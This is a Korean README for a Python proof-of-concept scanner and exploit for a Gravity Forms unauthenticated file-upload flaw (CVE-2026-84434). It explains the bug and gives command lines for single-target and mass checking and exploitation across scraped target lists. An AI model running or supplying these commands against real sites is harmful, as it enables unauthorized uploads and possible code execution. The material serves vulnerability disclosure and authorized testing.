
Gravity Forms <=3.1.0.4의 숨겨진 File Upload 필드를 통한 인증되지 않은 임의 파일 업로드 취약점인 CVE-2026-84434에 대한 Python PoC 스캐너 및 익스플로잇. check, exploit, mass scan 모드를 지원합니다.
Gravity Forms의 **CVE-2026-84434**에 대한 Python 3 PoC 스캐너 및 익스플로잇입니다.
| 플러그인 | gravityforms |
| 영향받는 버전 | ≤ 3.1.0.4 |
| 수정된 버전 | 3.1.0.5+ (벤더 보안 릴리스 3.1.1) |
| CVSS | 9.8 (치명적) |
| 인증 | 인증 불필요 |
| CWE | CWE-434 — 제한 없는 업로드 |
| 공로 | 0xd4rk5id3 — EnvoraSec (Wordfence) |
숨겨진 File Upload 필드는 검증 파이프라인에서 확장자 검증을 건너뛰지만, 저장 경로는 동등한 검사 없이 upload_file()을 호출할 수 있습니다. 인증되지 않은 공격자는 Visibility → Hidden으로 설정된 File Upload 필드를 포함하는 공개 폼에 POST 요청을 보낼 수 있습니다.
파일은 wp-content/uploads/gravity_forms/ 아래에 저장됩니다. Gravity Forms는 일반적으로 PHP 실행을 차단하는 .htaccess 규칙을 추가하지만, RCE는 서버 구성(nginx, 대체 docroot 등)에 따라 달라집니다.
gform_wrapper 및 숨겨진 fileupload 필드(input_{form}_{field}) 크롤링gform_submit, is_submit_{id}, 숨겨진 입력에 파일)pip install -r requirements.txtpip install -r requirements.txt
# 단일 대상 확인
python poc.py -u https://target.example --mode check
# 대량 확인
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# 익스플로잇 (--payload-file이 설정되지 않은 경우 내장된 무해한 .txt 프로브 사용)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7
# 사용자 지정 업로드 파일 (자체 프로브 — 이 저장소에는 포함되지 않음)
python poc.py -u https://target.example --mode exploit \
--form-id 3 --page-url /contact/ --file-field 7 \
--payload-file probe.txt
# 확인 출력에서 대량 익스플로잇
python poc.py --list candidates.jsonl --mode exploit --threads 10 --quiet
| 옵션 | 설명 |
|---|---|
-u, --url | 단일 대상 기본 URL |
--list | URL 목록, FOFA 스타일 CSV 또는 candidates.jsonl |
--mode | check(기본값) 또는 exploit |
--form-id | Gravity Form ID |
--page-url | 폼을 호스팅하는 페이지의 경로 또는 URL |
--file-field | 숨겨진 파일 업로드 필드 ID |
--payload-file | 업로드할 로컬 파일 (기본값: 메모리 내 무해한 .txt 마커) |
--paths | 폼을 크롤링할 추가 경로 |
--threads, -j | 대량 동시성 (기본값 20) |
--output | JSONL 결과 (기본값 cve_2026_84434_results.jsonl) |
--vuln-list | 적중 URL 또는 익스플로잇 성공 (기본값 hits.txt) |
--candidates-list | 메타데이터 확인 (기본값 candidates.jsonl) |
--quiet | 대량 실행 시 진행 출력 감소 |
| 파일 | 내용 |
|---|---|
cve_2026_84434_results.jsonl | 대상별 전체 JSON |
hits.txt | 후보 기본 URL |
candidates.jsonl | form_id, page_url, file_field / input_name |
status 값 (확인)| 상태 | 의미 |
|---|---|
candidate | 취약한 버전 + 공개 폼의 숨겨진 파일 업로드 |
forms_no_hidden_upload | 폼을 찾았지만 HTML에 숨겨진 파일 업로드가 없음 |
plugin_no_public_forms | 플러그인은 있지만 공개 폼이 발견되지 않음 |
patched | 버전 > 3.1.0.4 |
no_plugin | Gravity Forms가 탐지되지 않음 |
.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
로컬 스캔 목록 및 산출물(list.txt, *.jsonl, 사용자 지정 페이로드)은 .gitignore에 있으며 커밋해서는 안 됩니다.
승인된 보안 테스트 전용입니다. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.